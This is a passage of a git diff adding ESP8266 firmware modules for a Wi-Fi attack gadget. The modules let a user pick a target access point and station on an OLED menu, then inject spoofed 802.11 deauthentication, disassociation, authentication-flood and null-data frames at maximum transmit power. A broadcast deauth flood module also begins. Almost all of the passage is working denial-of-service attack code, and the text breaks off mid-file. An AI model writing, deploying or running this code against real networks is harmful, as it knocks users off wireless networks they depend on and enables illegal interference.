uint8_t addr3[6]; + uint16_t seq_ctrl; + uint16_t cap_info; + uint16_t listen_interval; + uint8_t current_ap_mac[6]; // Added field for Reassoc Req + // Optional: Add SSID element, Supported Rates element if needed +} reassoc_req_packet_t; // Note: V1 used fixed size, this is more structured + +typedef struct { + frame_control_t frame_control; + uint16_t duration_id; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + uint16_t seq_ctrl; + uint16_t cap_info; + uint16_t listen_interval; + uint8_t current_ap_mac[6]; // Added field for Reassoc Req + // Optional: Add SSID element, Supported Rates element if needed +} null_data_packet_t; +// --- End V1 Packet Structures --- + +// --- V1 Packet Templates (will be populated dynamically) --- +static uint8_t deauth_packet_buffer[sizeof(deauth_packet_t)]; +static uint8_t disassoc_packet_buffer[sizeof(disassoc_packet_t)]; +static uint8_t auth_packet_buffer[sizeof(auth_packet_t)]; +static uint8_t null_packet_buffer[sizeof(null_data_packet_t)]; + +// --- Utility function needed by V1 logic --- +void utils_random_mac(uint8_t* mac) { + for (int i = 0; i < 6; i++) { + mac[i] = random(0, 256); + } + mac[0] &= 0xFE; // Ensure unicast address (first byte, second LSB is 0) + mac[0] |= 0x02; // Ensure locally administered address (first byte, second MSB is 1) - common practice +} + +// <<< --- Forward Declarations --- >>> +void filter_stations_for_ap(); +void send_packet_burst(uint8_t* packet, size_t packet_size, int count, bool change_seq); +// <<< --- End Forward Declarations --- >>> + +// --- Initialization --- +void deauth_init() { + Serial.println("Deauth Module Initialized."); + currentDeauthState = DeauthStateType::SELECT_AP; + deauth_attack_active = false; + selected_ap_index = 0; // Start selection at the first AP found by scanner + selected_sta_index = 0; + packets_sent = 0; + memset(deauth_target_ap_bssid, 0, 6); + memset(deauth_target_sta_mac, 0, 6); + memset(deauth_target_ap_ssid, 0, 33); + stations_of_selected_ap_count = 0; + + // Set WiFi mode (should already be STA from main setup, but good practice) + // wifi_set_opmode(STATION_MODE); // Already done in main setup + + // Enable promiscuous mode for packet sniffing/injection + // wifi_promiscuous_enable(0); // Disable first? Maybe not needed. + // wifi_promiscuous_enable(1); // <<< COMMENT THIS OUT FOR NOW + // Serial.println("Deauth Init: Enabling promiscuous mode."); // <<< COMMENT THIS OUT + + // <<< Set Maximum Transmit Power >>> + Serial.println("Deauth Init: Setting max TX power (82)..."); + system_phy_set_max_tpw(82); // Call the function (it returns void) + // We can't directly check success, assume it worked if no crash. + Serial.println(" Max TX power set command issued."); + // <<< End Set Max TX Power >>> + + // <<< Set Fixed Rate (like V1 might have implicitly done) >>> + // Mask 0x3F enables all rates (1, 2, 5.5, 11, 6, 9, 12, 18, 24, 36, 48, 54 Mbps) + // Rate 1 (1 Mbps) often gives best range/penetration for attacks + Serial.println("Deauth Init: Setting fixed rate (1 Mbps)..."); + int rate_result = wifi_set_user_fixed_rate(0x3F, 1); + Serial.printf(" wifi_set_user_fixed_rate result: %d\n", rate_result); + // <<< End Set Fixed Rate >>> + + // Ensure scanner has run and found some APs + if (ap_count == 0) { + Serial.println("WARN: No APs found by scanner. Deauth may not work."); + // Optionally switch back to main menu or show an error on screen + } + needsRedraw = true; +} + +// --- Stop Deauth Module/Attack --- +void deauth_stop() { + Serial.println("Deauth Module Stopped."); + deauth_attack_active = false; + // Optional: Disable promiscuous mode if no other module needs it immediately + // wifi_promiscuous_enable(0); + // Serial.println("Deauth Stop: Disabled promiscuous mode."); + needsRedraw = true; +} + +// --- Main Update Loop --- +void deauth_update() { + if (currentDeauthState != DeauthStateType::ATTACKING || !deauth_attack_active) { + return; + } + + unsigned long current_time = millis(); + + // <<< Log Current Channel Periodically >>> + static unsigned long last_channel_check = 0; + if (current_time - last_channel_check > 1000) { // Check every second + uint8_t actual_channel = wifi_get_channel(); + if (actual_channel != target_channel) { + Serial.printf("!!! WARNING: Channel mismatch! Expected: %d, Actual: %d\n", target_channel, actual_channel); + // Optional: Force channel back? Might conflict with other modules if not careful. + // wifi_set_channel(target_channel); + } else { + Serial.printf("Deauth Update: Channel OK (%d)\n", actual_channel); // <<< Confirm channel + } + last_channel_check = current_time; + } + // <<< End Log Current Channel >>> + + // --- Cycle through attack modes --- + if (current_time - last_attack_change > ATTACK_CHANGE_INTERVAL) { + current_attack_mode = (current_attack_mode + 1) % ATTACK_MODES; + last_attack_change = current_time; + Serial.printf("Changed attack mode to %d\n", current_attack_mode); // <<< Log mode change + } + + // --- Select Target Station MAC --- + const uint8_t* target_sta_mac; + if (selected_sta_index == BROADCAST_STA_INDEX) { + target_sta_mac = broadcast_mac; + } else { + int actual_sta_list_index = selected_sta_index - 1; + if (actual_sta_list_index >= 0 && actual_sta_list_index < stations_of_selected_ap_count) { + target_sta_mac = stations_of_selected_ap[actual_sta_list_index].mac; + } else { + // Fallback to broadcast if index is somehow invalid + target_sta_mac = broadcast_mac; + // Serial.println("WARN: Invalid STA index during attack, using broadcast."); // Optional debug + } + } + + // --- Execute Current Attack Mode --- + uint8_t reason = reason_codes[random(0, NUM_REASONS)]; // Pick a random reason code + uint16_t reason_code_16 = reason; // Convert 1-byte reason to 2-byte variable + + yield(); // <<< ADD yield() in the main attack loop between bursts + + switch (current_attack_mode) { + case 0: // Deauth Broadcast (AP -> Broadcast) + case 1: // Disassoc Broadcast (AP -> Broadcast) + { + uint8_t* packet_buffer = (current_attack_mode == 0) ? deauth_packet_buffer : disassoc_packet_buffer; + size_t packet_size = (current_attack_mode == 0) ? sizeof(deauth_packet_t) : sizeof(disassoc_packet_t); + uint8_t subtype = (current_attack_mode == 0) ? 12 : 10; // 12=Deauth, 10=Disassoc + + // Build packet + frame_control_t fc = {0}; + fc.protocol_version = 0; + fc.type = 0; // Management + fc.subtype = subtype; + memcpy(packet_buffer, &fc, sizeof(frame_control_t)); // Frame Control + uint16_t duration = 0x013a; // Or 0 + memcpy(packet_buffer + 2, &duration, 2); // Duration + memcpy(packet_buffer + 4, broadcast_mac, 6); // Addr1 (Destination) + memcpy(packet_buffer + 10, deauth_target_ap_bssid, 6); // Addr2 (Source = AP) + memcpy(packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID) + // Sequence number (bytes 22-23) set by send_packet_burst + memcpy(packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes) + + send_packet_burst(packet_buffer, packet_size, PACKET_REPEAT_COUNT, true); + packets_sent += PACKET_REPEAT_COUNT; + } + break; + + case 2: // Deauth Target STA (AP -> STA) + case 3: // Disassoc Target STA (AP -> STA) + if (target_sta_mac != broadcast_mac) { // Only if not broadcast + uint8_t* packet_buffer = (current_attack_mode == 2) ? deauth_packet_buffer : disassoc_packet_buffer; + size_t packet_size = (current_attack_mode == 2) ? sizeof(deauth_packet_t) : sizeof(disassoc_packet_t); + uint8_t subtype = (current_attack_mode == 2) ? 12 : 10; + + // Build packet + frame_control_t fc = {0}; + fc.protocol_version = 0; + fc.type = 0; // Management + fc.subtype = subtype; + memcpy(packet_buffer, &fc, sizeof(frame_control_t)); + uint16_t duration = 0x013a; + memcpy(packet_buffer + 2, &duration, 2); + memcpy(packet_buffer + 4, target_sta_mac, 6); // Addr1 (Destination = STA) + memcpy(packet_buffer + 10, deauth_target_ap_bssid, 6); // Addr2 (Source = AP) + memcpy(packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID) + memcpy(packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes) + + send_packet_burst(packet_buffer, packet_size, PACKET_REPEAT_COUNT, true); + packets_sent += PACKET_REPEAT_COUNT; + } + break; + + case 4: // Deauth from random MACs to target STA/Broadcast + { + uint8_t random_mac[6]; + utils_random_mac(random_mac); // <<< CALL the function defined earlier >>> + + // Build Deauth packet + frame_control_t fc = {0}; + fc.protocol_version = 0; + fc.type = 0; // Management + fc.subtype = 12; // Deauth + memcpy(deauth_packet_buffer, &fc, sizeof(frame_control_t)); + uint16_t duration = 0x013a; + memcpy(deauth_packet_buffer + 2, &duration, 2); + memcpy(deauth_packet_buffer + 4, target_sta_mac, 6); // Addr1 (Destination = STA/Broadcast) + memcpy(deauth_packet_buffer + 10, random_mac, 6); // Addr2 (Source = Random) + memcpy(deauth_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID = Target AP) + memcpy(deauth_packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes) + + send_packet_burst(deauth_packet_buffer, sizeof(deauth_packet_t), PACKET_REPEAT_COUNT / 2, true); // Fewer repeats for this mode + packets_sent += PACKET_REPEAT_COUNT / 2; + } + break; + + case 5: // Auth flood to AP (from random MACs) + { + uint8_t random_mac[6]; + utils_random_mac(random_mac); + + // Build Auth packet + frame_control_t fc = {0}; + fc.protocol_version = 0; + fc.type = 0; // Management + fc.subtype = 11; // Auth + memcpy(auth_packet_buffer, &fc, sizeof(frame_control_t)); + uint16_t duration = 0x013a; + memcpy(auth_packet_buffer + 2, &duration, 2); + memcpy(auth_packet_buffer + 4, deauth_target_ap_bssid, 6); // Addr1 (Destination = AP) + memcpy(auth_packet_buffer + 10, random_mac, 6); // Addr2 (Source = Random) + memcpy(auth_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID = AP) + uint16_t auth_alg = 0; // Open System + uint16_t auth_seq = 1; + uint16_t status_code = 0; // Success (or try other codes?) + memcpy(auth_packet_buffer + 24, &auth_alg, 2); + memcpy(auth_packet_buffer + 26, &auth_seq, 2); + memcpy(auth_packet_buffer + 28, &status_code, 2); + + send_packet_burst(auth_packet_buffer, sizeof(auth_packet_t), PACKET_REPEAT_COUNT / 2, true); + packets_sent += PACKET_REPEAT_COUNT / 2; + } + break; + + case 6: // Null data flood (AP -> STA/Broadcast) - Can disrupt power save + { + // Build Null Data packet + frame_control_t fc = {0}; + fc.protocol_version = 0; + fc.type = 2; // Data + fc.subtype = 4; // Null Data (no data) + // Set ToDS=1, FromDS=0 if AP->STA + fc.flags = 0b00000001; // ToDS=1 + memcpy(null_packet_buffer, &fc, sizeof(frame_control_t)); + uint16_t duration = 0; + memcpy(null_packet_buffer + 2, &duration, 2); + memcpy(null_packet_buffer + 4, deauth_target_ap_bssid, 6); // Addr1 (RA = AP BSSID) + memcpy(null_packet_buffer + 10, target_sta_mac, 6); // Addr2 (TA = STA/Broadcast) + memcpy(null_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (DA = AP BSSID) - Check 802.11 address fields for ToDS=1 + + send_packet_burst(null_packet_buffer, sizeof(null_data_packet_t), PACKET_REPEAT_COUNT, true); + packets_sent += PACKET_REPEAT_COUNT; + } + break; + + case 7: // Deauth Target STA (STA -> AP - Spoofed) + if (target_sta_mac != broadcast_mac) { // Only if not broadcast + // Build Deauth packet + frame_control_t fc = {0}; + fc.protocol_version = 0; + fc.type = 0; // Management + fc.subtype = 12; // Deauth + memcpy(deauth_packet_buffer, &fc, sizeof(frame_control_t)); + uint16_t duration = 0x013a; + memcpy(deauth_packet_buffer + 2, &duration, 2); + memcpy(deauth_packet_buffer + 4, deauth_target_ap_bssid, 6); // Addr1 (Destination = AP) + memcpy(deauth_packet_buffer + 10, target_sta_mac, 6); // Addr2 (Source = STA) + memcpy(deauth_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID) + memcpy(deauth_packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes) + + send_packet_burst(deauth_packet_buffer, sizeof(deauth_packet_t), PACKET_REPEAT_COUNT, true); + packets_sent += PACKET_REPEAT_COUNT; + } + break; + } +} + +// --- Draw Deauth UI --- +void deauth_draw() { + // Header is drawn by ui_update + oled.setFont(u8g2_font_5x7_tf); // Use a smaller font + + char buffer[40]; + int yPos = 33; // Starting Y position for lists (consistent with scanner) + int line_height = 8; + const int items_to_display = 3; // Show 3 items per page (adjust based on font) + const int lines_per_item_ap = 2; // APs take 2 lines + const int gap_between_items = 1; + const int item_block_height_ap = (line_height * lines_per_item_ap) + gap_between_items; + const int item_block_height_sta = line_height + gap_between_items; // STAs take 1 line + gap + + int total_sta_options = stations_of_selected_ap_count + 1; // +1 for Broadcast + + switch (currentDeauthState) { + case DeauthStateType::SELECT_AP: + oled.drawStr(0, 23, "Select Target AP:"); + oled.drawHLine(0, 25, SCREEN_WIDTH); + + if (ap_count == 0) { + oled.drawStr(10, 40, "No APs found!"); + oled.drawStr(10, 50, "Run Scanner first."); + } else { + // Draw AP list + for (int i = 0; i < items_to_display; ++i) { + int current_item_index = ap_display_offset + i; + if (current_item_index >= ap_count) break; + + AccessPointInfo* ap = &ap_list[current_item_index]; // Get AP from scanner list + bool is_selected = (current_item_index == selected_ap_index); + const char* select_char = is_selected ? ">" : " "; + + // <<< --- Add Debug Print Here --- >>> + Serial.printf("Deauth Draw AP[%d]: SSID='%s', ssid[0]=%d (char:'%c')\n", + current_item_index, + ap->ssid, + (int)ap->ssid[0], + ap->ssid[0] ? ap->ssid[0] : '?'); // Print char if not null + // <<< --- End Debug Print --- >>> + + // Line 1: Selection, SSID, Encryption + String encStr = encryption_to_string(ap->encryption); + snprintf(buffer, sizeof(buffer), "%s%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str()); + oled.drawStr(0, yPos, buffer); + + // Line 2: BSSID, RSSI + snprintf(buffer, sizeof(buffer), " %s R:%d", macToString(ap->bssid).c_str(), ap->rssi); + oled.drawStr(0, yPos + line_height, buffer); + + yPos += item_block_height_ap; + } + + // Draw scroll indicators for AP list + if (ap_count > items_to_display) { + if (ap_display_offset > 0) { + oled.drawTriangle(SCREEN_WIDTH - 6, 27, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up arrow + } + if (ap_display_offset + items_to_display < ap_count) { + oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 1, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 5, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 5); // Down arrow + } + } + } + break; + + case DeauthStateType::SELECT_STA: + oled.drawStr(0, 23, "Select Target STA:"); + oled.drawHLine(0, 25, SCREEN_WIDTH); + + // Show selected AP SSID at the bottom for context + snprintf(buffer, sizeof(buffer), "AP: %.20s", deauth_target_ap_ssid[0] ? deauth_target_ap_ssid : macToString(deauth_target_ap_bssid).c_str()); // Show BSSID if SSID empty + oled.drawStr(0, SCREEN_HEIGHT - 1, buffer); // Draw at bottom line + + // Draw STA list (including Broadcast) - Single line per item + for (int i = 0; i < items_to_display; ++i) { + int current_item_index = sta_display_offset + i; + if (current_item_index >= total_sta_options) break; + + bool is_selected = (current_item_index == selected_sta_index); + const char* select_char = is_selected ? ">" : " "; + + if (current_item_index == BROADCAST_STA_INDEX) { + // Draw Broadcast option + snprintf(buffer, sizeof(buffer), "%s Broadcast", select_char); + oled.drawStr(0, yPos, buffer); + } else { + // Draw actual Station MAC + int actual_sta_list_index = current_item_index - 1; // Adjust index for stations_of_selected_ap list + StationInfo* sta = &stations_of_selected_ap[actual_sta_list_index]; + snprintf(buffer, sizeof(buffer), "%s %s R:%d", select_char, macToString(sta->mac).c_str(), sta->rssi); + oled.drawStr(0, yPos, buffer); + } + yPos += item_block_height_sta; // Use STA item height + } + + // Draw scroll indicators for STA list + if (total_sta_options > items_to_display) { + if (sta_display_offset > 0) { + oled.drawTriangle(SCREEN_WIDTH - 6, 27, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up arrow + } + if (sta_display_offset + items_to_display < total_sta_options) { + oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 8, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 12, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 12); // Down arrow (raised slightly due to AP name at bottom) + } + } + break; + + case DeauthStateType::ATTACKING: + oled.drawStr(0, 23, "Deauth Attack Active"); + oled.drawHLine(0, 25, SCREEN_WIDTH); + // Show SSID if known, otherwise BSSID + snprintf(buffer, sizeof(buffer), "AP: %s", + (strlen(deauth_target_ap_ssid) > 0) ? deauth_target_ap_ssid : macToString(deauth_target_ap_bssid).c_str()); + oled.drawStr(0, yPos, buffer); + + if (memcmp(deauth_target_sta_mac, broadcast_mac, 6) == 0) { + snprintf(buffer, sizeof(buffer), "STA: Broadcast"); + } else { + snprintf(buffer, sizeof(buffer), "STA: %s", macToString(deauth_target_sta_mac).c_str()); + } + oled.drawStr(0, yPos + line_height, buffer); + + // Display the CURRENT channel being attacked in the loop, and total packets sent + snprintf(buffer, sizeof(buffer), "Pkts: %lu Mode: %d", packets_sent, current_attack_mode); + oled.drawStr(0, yPos + (line_height * 2), buffer); + + if (!deauth_attack_active) { + oled.drawStr(SCREEN_WIDTH - 40, yPos + (line_height * 2), "[Paused]"); + } + // Add hint for controls + oled.setFont(u8g2_font_4x6_tf); // Even smaller font + oled.drawStr(0, SCREEN_HEIGHT - 1, "Short:Pause/Run Long:Stop"); + break; + } +} + +// --- Handle Button Input for Deauth Mode --- +void deauth_handle_input(ButtonPressType pressType) { + + // <<< DEBUG: Print received press type >>> + if (pressType != ButtonPressType::NO_PRESS) { + Serial.printf("Deauth received pressType: %d (State: %d)\n", (int)pressType, (int)currentDeauthState); + } + // <<< End DEBUG >>> + + const int items_per_page = 2; // Items shown per screen + + switch (currentDeauthState) { + case DeauthStateType::SELECT_AP: + if (ap_count == 0 && pressType != ButtonPressType::LONG_PRESS) return; // Allow long press to exit + + if (pressType == ButtonPressType::SHORT_PRESS) { + Serial.println("Deauth Select AP: Short Press -> Next AP"); // <<< DEBUG + selected_ap_index = (selected_ap_index + 1) % ap_count; + // Adjust display offset + if (selected_ap_index < ap_display_offset) { // Wrap around top + ap_display_offset = selected_ap_index; + } else if (selected_ap_index >= ap_display_offset + items_per_page) { // Scroll down + ap_display_offset = selected_ap_index - items_per_page + 1; + } + // Ensure offset doesn't go past the last possible page start + if (ap_display_offset > ap_count - items_per_page && ap_count > items_per_page) { + ap_display_offset = ap_count - items_per_page; + } + if (ap_display_offset < 0) ap_display_offset = 0; // Should not happen, but safety check + + Serial.printf("Selected AP index: %d, Offset: %d\n", selected_ap_index, ap_display_offset); + needsRedraw = true; + } else if (pressType == ButtonPressType::LONG_PRESS) { + if (ap_count > 0) { + Serial.println("Deauth Select AP: Long Press -> Select AP, Go to STA Select"); // <<< DEBUG + // Select AP, store BSSID, SSID, Channel + // ... (copy AP data) ... + filter_stations_for_ap(); // Find stations for this AP + currentDeauthState = DeauthStateType::SELECT_STA; + selected_sta_index = 0; // Start at Broadcast + sta_display_offset = 0; + } else { + Serial.println("Deauth Select AP: Long Press -> Exit (No APs)"); // <<< DEBUG + // No APs to select, just exit back to main menu + currentState = UIState::MAIN_MENU; + currentMenuIndex = 0; + } + needsRedraw = true; + } + break; + + case DeauthStateType::SELECT_STA: + { // Braces for variable scope + int total_sta_options = stations_of_selected_ap_count + 1; // +1 for Broadcast + + if (pressType == ButtonPressType::SHORT_PRESS) { + Serial.println("Deauth Select STA: Short Press -> Next STA/Broadcast"); // <<< DEBUG + // ... (increment selected_sta_index, handle offset) ... + needsRedraw = true; + } else if (pressType == ButtonPressType::LONG_PRESS) { + // Select STA/Broadcast and start attack + Serial.println("--- Starting Deauth Attack ---"); // <<< DEBUG + if (selected_sta_index == BROADCAST_STA_INDEX) { + Serial.println("Selected Target STA: Broadcast"); + memcpy(deauth_target_sta_mac, broadcast_mac, 6); + } else { + int actual_sta_list_index = selected_sta_index - 1; + if (actual_sta_list_index >= 0 && actual_sta_list_index < stations_of_selected_ap_count) { + memcpy(deauth_target_sta_mac, stations_of_selected_ap[actual_sta_list_index].mac, 6); + Serial.printf("Selected Target STA: %s\n", macToString(deauth_target_sta_mac).c_str()); // <<< DEBUG + } else { + Serial.println("ERROR: Invalid selected station index! Defaulting to Broadcast."); + memcpy(deauth_target_sta_mac, broadcast_mac, 6); + } + } + // Log target AP details again just before attack start + Serial.printf("Target AP BSSID: %s\n", macToString(deauth_target_ap_bssid).c_str()); // <<< DEBUG + Serial.printf("Target AP SSID: %s\n", deauth_target_ap_ssid); // <<< DEBUG + Serial.printf("Target AP Channel: %d\n", target_channel); // <<< DEBUG + + // Start attack state + currentDeauthState = DeauthStateType::ATTACKING; + deauth_attack_active = true; + packets_sent = 0; + current_attack_mode = 0; // Start with first attack mode + last_attack_change = millis(); // Reset attack mode timer + deauth_seq_num = 0; // Reset sequence number + + // --- Set Channel ONCE to Target AP Channel --- + Serial.printf("Deauth Start: Setting channel to %d\n", target_channel); + wifi_set_channel(target_channel); + delay(5); // Small delay after channel set + // --- End Set Channel ONCE --- + + Serial.println("Attack state entered (V1 Logic)."); + needsRedraw = true; + } + } // End braces for variable scope + break; + + case DeauthStateType::ATTACKING: + if (pressType == ButtonPressType::SHORT_PRESS) { + // Toggle attack pause/resume + deauth_attack_active = !deauth_attack_active; + Serial.printf("Deauth Attack: Short Press -> %s\n", deauth_attack_active ? "Attack Resumed" : "Attack Paused"); // <<< DEBUG + needsRedraw = true; + } else if (pressType == ButtonPressType::LONG_PRESS) { + // Stop attack and return to AP selection + deauth_attack_active = false; + Serial.println("Deauth Attack: Long Press -> Stopping Attack, Returning to AP Select"); + currentDeauthState = DeauthStateType::SELECT_AP; + // Optional: Disable promiscuous mode here? + // wifi_promiscuous_enable(0); + // Serial.println("Deauth Stop Attack: Disabled promiscuous mode."); + needsRedraw = true; + } + break; + } +} + +// --- Send Packet Burst (V1 Style) --- +void send_packet_burst(uint8_t* packet, size_t packet_size, int count, bool change_seq) { + // Ensure packet size is reasonable + if (packet_size < 24) { // Minimum size for MAC headers + sequence + Serial.println("!!! ERROR: send_packet_burst - packet_size too small!"); + return; + } + + // <<< Log packet details more often (e.g., once per mode change or periodically) >>> + // This can be verbose, enable carefully + // Serial.printf("send_packet_burst: Mode=%d, Size=%d, Count=%d\n", current_attack_mode, packet_size, count); + // Serial.print(" Packet Hex: "); + // for(size_t k=0; k= 4096) deauth_seq_num = 0; + memcpy(packet + 22, &seq_ctrl, 2); + } + + // Send the packet + int result = wifi_send_pkt_freedom(packet, packet_size, false); // Use sys_seq=false for manual sequence control + + // <<< Log EVERY failure >>> + if (result != 0) { + Serial.printf("!!! Mode %d: wifi_send_pkt_freedom failed (Result: %d) on burst %d\n", current_attack_mode, result, i); + // Consider adding a small delay here if failures are constant, maybe buffer is full? delay(1); + } + + // Minimal delay - V1 used DEAUTH_INTERVAL=0, but a tiny delay might help stability + delayMicroseconds(100); // <<< INCREASED: Slightly longer delay between packets + + // Yield occasionally within the burst to prevent WDT reset + if (i % 10 == 0) { // <<< Yield more often within the burst + yield(); + } + } +} + +// --- Filter Stations for Selected AP --- +void filter_stations_for_ap() { + stations_of_selected_ap_count = 0; + if (selected_ap_index < 0 || selected_ap_index >= ap_count) return; // Safety check + + AccessPointInfo* target_ap = &ap_list[selected_ap_index]; + memcpy(deauth_target_ap_bssid, target_ap->bssid, 6); + strncpy(deauth_target_ap_ssid, target_ap->ssid, 32); + deauth_target_ap_ssid[32] = '\0'; // Ensure null termination + target_channel = target_ap->channel; + + Serial.printf("Filtering stations for AP: %s (%s)\n", deauth_target_ap_ssid, macToString(deauth_target_ap_bssid).c_str()); + + for (int i = 0; i < sta_count; ++i) { + // Check if the station's associated AP BSSID matches the target AP's BSSID + if (memcmp(sta_list[i].bssid_ap, deauth_target_ap_bssid, 6) == 0) { + if (stations_of_selected_ap_count < MAX_STAS_PER_AP) { + memcpy(&stations_of_selected_ap[stations_of_selected_ap_count], &sta_list[i], sizeof(StationInfo)); + stations_of_selected_ap_count++; + Serial.printf(" Found matching STA: %s\n", macToString(sta_list[i].mac).c_str()); + } else { + Serial.println(" Max stations for selected AP reached."); + break; // Stop adding if the filtered list is full + } + } + } + Serial.printf("Found %d stations associated with the selected AP.\n", stations_of_selected_ap_count); +} \ No newline at end of file diff --git a/src/deauth.h b/src/deauth.h new file mode 100644 index 0000000..d93d09b --- /dev/null +++ b/src/deauth.h @@ -0,0 +1,52 @@ +#ifndef DEAUTH_H +#define DEAUTH_H + +#include +#include // For MAC address type +#include "ui.h" // For ButtonPressType +#include "scanner.h" // Include for StationInfo, frame_control_t etc. + +// --- Deauth Module States --- +enum class DeauthStateType { + SELECT_AP, // Show list of APs from scanner + SELECT_STA, // Show list of STAs for selected AP (and Broadcast option) + ATTACKING // Sending deauth packets +}; + +// --- Constants --- +#define DEAUTH_PACKET_INTERVAL 50 // ms between sending packets +#define MAX_STAS_PER_AP 15 // Max stations to display for a selected AP +//#define BROADCAST_MAC {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // Define in .cpp instead +extern const uint8_t broadcast_mac[6]; // <<< ADD extern declaration + +// --- Target Information --- +extern uint8_t deauth_target_ap_bssid[6]; +extern uint8_t deauth_target_sta_mac[6]; +extern char deauth_target_ap_ssid[33]; // Store SSID for display +extern bool deauth_attack_active; +extern uint8_t current_attack_mode; // <<< ADD extern declaration for UI access + +// --- Function Declarations --- +void deauth_init(); +void deauth_update(); +void deauth_stop(); +void deauth_draw(); // Function to draw deauth UI based on state +void deauth_handle_input(ButtonPressType pressType); // Handle button presses + +// Internal functions +void send_deauth_packet(const uint8_t* ap_bssid, const uint8_t* sta_mac, uint8_t channel); + +// SDK function for packet injection +extern "C" { + #include "user_interface.h" + // Function to send raw 802.11 frames (check SDK docs for exact signature/availability) + // int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq); // Example signature + // Let's assume this is the correct one for now. If compilation fails, we'll find the right one. + int wifi_send_pkt_freedom(uint8_t *buf, int len, bool sys_seq); + // Function to set fixed WiFi rate + int wifi_set_user_fixed_rate(uint8_t enable_mask, uint8_t rate); + // Function to set max TX power (already declared in .cpp, but good practice here too) + void system_phy_set_max_tpw(uint8 max_tpw); +} + +#endif // DEAUTH_H \ No newline at end of file diff --git a/src/dos.cpp b/src/dos.cpp new file mode 100644 index 0000000..454d8bd --- /dev/null +++ b/src/dos.cpp @@ -0,0 +1,187 @@ +#include "dos.h" +#include "utils.h" // For random MAC, macToString +#include "config.h" // For screen dimensions etc. +// #include "deauth.h" // <<< INCLUDE DEAUTH HEADER for its packet structure +#include // For OLED drawing +#include // For wifi_set_channel, wifi_send_pkt_freedom + +// --- SDK Function Declarations --- +extern "C" { + #include "user_interface.h" + // Declare wifi_send_pkt_freedom if not already globally available + // int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq); +} + +// --- Copied Deauth Packet Structure (WORKAROUND) --- +// Define it here temporarily to resolve compilation error +typedef struct { + struct { + uint8_t protocol_version : 2; + uint8_t type : 2; // 0 = Management + uint8_t subtype : 4; // 12 = Deauthentication + uint8_t flags; + } __attribute__((packed)) frame_control; + uint16_t duration_id; + uint8_t addr1[6]; // Destination MAC (Receiver) + uint8_t addr2[6]; // Source MAC (Transmitter) + uint8_t addr3[6]; // BSSID (AP MAC) + uint16_t seq_ctrl; + uint16_t reason_code; +} __attribute__((packed)) deauth_packet_t; // Make sure this name matches what's used below + +// --- Define Broadcast MAC locally --- +static const uint8_t broadcast_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // <<< ADD BACK DEFINITION + +// --- External UI Elements --- +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; +extern bool needsRedraw; +extern UIState currentState; // To return to main menu + +// --- Internal State --- +bool dos_flood_active = false; // Definition of the flag +static uint8_t current_dos_channel = 1; +static unsigned long last_dos_packet_time = 0; +// static unsigned long last_dos_channel_hop_time = 0; // <<< No longer needed +static unsigned long last_dos_redraw_time = 0; +static uint32_t dos_packets_sent = 0; + +// --- Packet Buffer --- +static deauth_packet_t dos_packet_buffer; // <<< USE deauth_packet_t from deauth.h + +// --- Initialization --- +void dos_init() { + Serial.println("DoS Module Initialized (Broadcast Deauth Flood)."); + Serial.printf("DoS Init: Calculated deauth_packet_t size: %d bytes\n", sizeof(deauth_packet_t)); // <<< CORRECT SIZEOF ARGUMENT + dos_flood_active = false; + current_dos_channel = 1; + last_dos_packet_time = 0; + last_dos_redraw_time = 0; + dos_packets_sent = 0; + // Don't enable promiscuous mode or set channel here, wait for start +} + +// --- Stop Function --- +void dos_stop() { + if (dos_flood_active) { + dos_flood_active = false; + Serial.println("DoS Flood Stopped."); + wifi_promiscuous_enable(0); // Disable promiscuous mode + Serial.println("DoS Stop: Disabled promiscuous mode."); + // Optional: Restore original channel? + needsRedraw = true; // Redraw UI to show stopped state + } +} + +// --- Main Update Loop --- +void dos_update() { + if (!dos_flood_active) { // <<< RESTORE: Only run when active + return; + } + + unsigned long current_time = millis(); + bool packet_sent_this_cycle = false; + + // --- REMOVED Channel Hopping Logic --- + + // --- Send Deauth Packet (Targeting Self) --- + if (current_time - last_dos_packet_time > DOS_PACKET_INTERVAL) { + // 1. Get device's own MAC + uint8_t station_mac[6]; + wifi_get_macaddr(STATION_IF, station_mac); + + // 2. Fill packet structure (using deauth_packet_t fields) + dos_packet_buffer.frame_control.type = 0; // Management frame + dos_packet_buffer.frame_control.subtype = 12; // Deauthentication subtype + dos_packet_buffer.duration_id = 0; // Or 314 microseconds + memcpy(dos_packet_buffer.addr1, station_mac, 6); // <<< Destination: Send to SELF for testing + memcpy(dos_packet_buffer.addr2, station_mac, 6); // Source: Use device's own MAC + memcpy(dos_packet_buffer.addr3, station_mac, 6); // BSSID: Use device's own MAC + dos_packet_buffer.seq_ctrl = 0; // SDK handles sequence if sys_seq=true, otherwise 0 is fine + dos_packet_buffer.reason_code = 1; // Reason: Unspecified + + // 3. Send packet + int result = wifi_send_pkt_freedom((uint8_t*)&dos_packet_buffer, sizeof(deauth_packet_t), true); // sys_seq=true + + // 4. Log and count + if (result == 0) { + dos_packets_sent++; + packet_sent_this_cycle = true; + } else { + Serial.printf("!!! DoS Send (Self): Ch=%d -> FAIL 